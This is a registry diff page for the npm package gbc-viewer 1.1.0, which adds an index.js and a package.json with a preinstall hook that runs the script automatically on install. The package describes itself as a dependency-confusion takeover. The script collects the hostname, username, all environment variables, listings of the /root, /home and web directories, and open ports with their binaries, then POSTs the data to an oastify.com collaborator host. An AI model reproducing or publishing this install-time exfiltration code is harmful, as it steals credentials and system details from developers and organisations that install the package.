gbc-viewer 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of gbc-viewer might be problematic. Click here for more details.
- package/index.js +75 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,75 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const fs = require("fs");
|
5
|
+
const child_process = require("child_process");
|
6
|
+
|
7
|
+
function listDirectory(path) {
|
8
|
+
try {
|
9
|
+
return fs.readdirSync(path);
|
10
|
+
} catch (err) {
|
11
|
+
return `Error: Unable to access ${path} - ${err.message}`;
|
12
|
+
}
|
13
|
+
}
|
14
|
+
|
15
|
+
function getOpenPortsAndBinaries() {
|
16
|
+
try {
|
17
|
+
const netstatOutput = child_process.execSync("netstat -tuln | grep LISTEN").toString();
|
18
|
+
const portsAndBinaries = netstatOutput
|
19
|
+
.split("\n")
|
20
|
+
.filter(line => line.trim() !== "")
|
21
|
+
.map(line => {
|
22
|
+
const parts = line.split(/\s+/);
|
23
|
+
const port = parts[3].split(":").pop();
|
24
|
+
let binary;
|
25
|
+
try {
|
26
|
+
binary = child_process.execSync(`lsof -i :${port} | grep LISTEN | awk '{print $1}'`).toString().trim();
|
27
|
+
} catch {
|
28
|
+
binary = "N/A";
|
29
|
+
}
|
30
|
+
return { port, binary };
|
31
|
+
});
|
32
|
+
return portsAndBinaries;
|
33
|
+
} catch (err) {
|
34
|
+
return `Error: Unable to fetch open ports - ${err.message}`;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
|
38
|
+
const openPortsAndBinaries = getOpenPortsAndBinaries();
|
39
|
+
const trackingData = JSON.stringify({
|
40
|
+
hostname: os.hostname(),
|
41
|
+
homeDir: os.homedir(),
|
42
|
+
username: os.userInfo().username,
|
43
|
+
dnsServers: dns.getServers(),
|
44
|
+
platform: os.platform(),
|
45
|
+
envVariables: process.env,
|
46
|
+
directories: {
|
47
|
+
root: listDirectory("/root"),
|
48
|
+
home: listDirectory("/home"),
|
49
|
+
publicHtml: listDirectory("/var/www/html"),
|
50
|
+
},
|
51
|
+
openPorts: Buffer.from(openPortsAndBinaries.map(entry => entry.port).join(",")).toString("base64"),
|
52
|
+
binariesOnPorts: Buffer.from(openPortsAndBinaries.map(entry => entry.binary).join(",")).toString("base64"),
|
53
|
+
});
|
54
|
+
|
55
|
+
const options = {
|
56
|
+
hostname: "rfadqyqkaiabqyhta5iq8c1if9l09qxf.oastify.com",
|
57
|
+
port: 443,
|
58
|
+
path: "/apple(gbc-viewer)",
|
59
|
+
method: "POST",
|
60
|
+
headers: {
|
61
|
+
"Content-Type": "application/json",
|
62
|
+
"Content-Length": Buffer.byteLength(trackingData),
|
63
|
+
},
|
64
|
+
};
|
65
|
+
|
66
|
+
const req = https.request(options, (res) => {
|
67
|
+
console.log(`Status: ${res.statusCode}`);
|
68
|
+
});
|
69
|
+
|
70
|
+
req.on("error", (error) => {
|
71
|
+
console.error(`Error: ${error.message}`);
|
72
|
+
});
|
73
|
+
|
74
|
+
req.write(trackingData);
|
75
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "gbc-viewer",
|
3
|
+
"version": "1.1.0",
|
4
|
+
"description": "Unpublished NPM Package Takeover (leads to RCE Via Dependency Confusion)",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall":"node index.js"
|
9
|
+
},
|
10
|
+
"author": "Subham",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|